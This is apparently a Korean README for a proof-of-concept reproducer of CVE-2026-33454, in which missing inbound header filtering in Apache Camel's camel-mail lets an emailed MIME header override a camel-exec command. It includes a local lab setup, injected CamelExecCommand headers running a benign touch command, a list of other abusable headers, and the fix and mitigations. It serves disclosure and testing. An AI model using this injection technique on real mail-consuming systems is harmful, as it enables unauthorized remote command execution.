
CVE-2026-33454 재현기: Apache Camel camel-mail 헤더 인젝션을 통한 camel-exec RCE
이 프로젝트는 Apache Camel의 camel-mail 컴포넌트에서 발견된 Camel 메시지 헤더 인젝션(CVE-2026-33454) 취약점을 시연합니다. 공격자는 Camel 메일 컨슈머가 모니터링하는 메일함으로 이메일을 전송하여 Camel* 제어 헤더를 Exchange에 주입할 수 있으며, 라우트가 camel-exec와 같은 헤더 민감 프로듀서로 전달될 때 원격 코드 실행을 달성할 수 있습니다.
권고: https://camel.apache.org/security/CVE-2026-33454.html
| 속성 | 값 |
|---|
| 구성 요소 | camel-mail |
| 영향받는 클래스 | org.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail) |
| 근본 원인 | 필터 전략이 OUT 방향만 구성(setOutFilterStartsWith)하고 IN 방향을 구성하지 않아, 인바운드 MIME 헤더가 필터링되지 않음 |
| CWE | CWE-20: 부적절한 입력 검증 (Camel 메시지 헤더 인젝션) |
| 영향 | 원격 코드 실행 (헤더 민감 프로듀서를 통해, 예: camel-exec) |
| 영향받는 버전 | 3.0.0부터 4.14.6 이전, 4.15.0부터 4.18.1 이전 |
| 수정된 버전 | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| 제보자 | Hyunwoo Kim (@v4bel) |
MailHeaderFilterStrategy는 DefaultHeaderFilterStrategy를 확장합니다. 영향을 받는 버전에서는 생성자가 아웃 필터만 구성하고 인 필터는 전혀 설정하지 않습니다:
// MailHeaderFilterStrategy - 영향을 받는 버전 (OUT 방향만 필터링됨)
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // OUT만
// setInFilterStartsWith(...) 없음 -> 인바운드 Camel* 헤더는 필터링되지 않음
}
Camel이 메일을 소비할 때(예: from("imap://...") 또는 from("pop3://...")), MailBinding.extractHeadersFromMail()은 headerFilterStrategy.applyFilterToExternalHeaders(...)의 제어를 받아 모든 MIME 헤더를 Exchange In 헤더로 복사합니다. 인 필터가 구성되지 않았기 때문에 Camel* 접두사가 붙은 MIME 헤더가 그대로 통과합니다:
// MailBinding.extractHeadersFromMail() - 인-필터가 구성되지 않아 Camel*이 통과함
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }
따라서 모니터링 중인 메일함에 이메일을 보낼 수 있는 공격자는 임의의 Camel* 제어 헤더를 설정할 수 있습니다. 라우트가 camel-exec와 같은 헤더 민감 프로듀서로 전달되면 CamelExecCommandExecutable / CamelExecCommandArgs 헤더가 명령을 재정의하여(해당 버전에서 기본적으로 존중됨) 임의 OS 명령 실행이 가능합니다.
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
.to("exec:echo?args=hello") // 고정된, 무해한 명령
.convertBodyTo(String.class);
GreenMail 컨테이너가 SMTP(3025) 및 IMAP(3143) 포트에서 단일 메일함(로그인 victim, 비밀번호 secret, 주소 victim@localhost)을 제공합니다:
docker compose up -d
# 또는:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
-e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
greenmail/standalone:2.1.0
mvn clean package -DskipTests
mvn spring-boot:run
IMAP 피해자 라우트와 8080 포트의 헬퍼 REST 컨트롤러가 시작됩니다.
curl http://localhost:8080/exploit/normal
컨슈머가 이메일을 수신하여 echo hello를 실행합니다.
# 기본 benign 증명: touch /tmp/pwned
curl http://localhost:8080/exploit/attack
# 또는 실행 파일/인자 선택:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"
이 명령은 MIME 헤더에 다음을 포함하는 이메일을 전송합니다:
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned
# IMAP 폴링 주기 동안 약 2초 대기 후:
ls -la /tmp/pwned
/tmp/pwned 파일이 존재하면, 주입된 MIME 헤더가 exec 명령을 재정의한 것이므로 RCE가 발생한 것입니다.
docker compose down # 또는: docker rm -f greenmail-cve
인젝션은 다운스트림에 헤더 민감 프로듀서만 있으면 됩니다. 권고에서는 camel-bean, camel-exec 및 camel-sql을 언급하고 있습니다. 더 광범위하게:
CamelExecCommandExecutable / CamelExecCommandArgs → OS 명령 실행CamelFileName → 임의 파일 쓰기 / 경로 탐색CamelBeanMethodName → 다른 메서드 호출imap://, imaps://, pop3://, ...)removeHeaders("Camel*")가 없음공격자는 모니터링 중인 메일함에 이메일을 보낼 수만 있으면 됩니다.
수정(CAMEL-23222)은 인바운드 필터도 구성합니다:
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
inFilter[CAMEL_FILTER_STARTS_WITH.length] = "mail.smtp.";
inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
setInFilterStartsWith(inFilter); // 이제 인바운드 방향도 필터링됨
}
업그레이드 전까지:
from("imap:...") 바로 뒤에 .removeHeaders("Camel*") 추가.CVE-2026-33454/
├── pom.xml
├── docker-compose.yml # GreenMail 메일 서버 (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot 진입점
│ ├── MailExecRoute.java # 취약한 피해자 라우트 (imap -> exec)
│ └── ExploitController.java # 공격자: SMTP를 통해 악성 이메일 전송
└── resources/
└── application.properties
이 재현기는 공개적으로 공개되었고 수정된 취약점에 대한 보안 연구 및 승인된 테스트용으로만 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.